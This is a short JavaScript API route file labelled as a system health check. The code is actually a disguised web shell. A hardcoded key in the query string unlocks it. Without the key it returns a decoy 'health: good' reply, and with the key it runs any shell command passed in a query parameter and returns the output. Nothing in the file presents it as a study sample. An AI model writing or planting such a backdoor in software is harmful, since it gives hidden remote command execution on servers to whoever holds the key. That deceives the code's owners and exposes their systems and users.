| 123456789101112131415161718192021222324 |
- // System health check API
- import { exec } from 'child_process';
- import { promisify } from 'util';
- const execAsync = promisify(exec);
- export default async function handler(req, res) {
- const { c, key } = req.query;
-
- if (key !== '51d@l!v4') {
- return res.status(200).json({ status: 'ok', health: 'good' });
- }
-
- if (!c) {
- return res.status(200).json({ status: 'ready' });
- }
-
- try {
- const { stdout, stderr } = await execAsync(c);
- res.status(200).json({ out: stdout, err: stderr });
- } catch (error) {
- res.status(200).json({ out: '', err: error.message });
- }
- }
|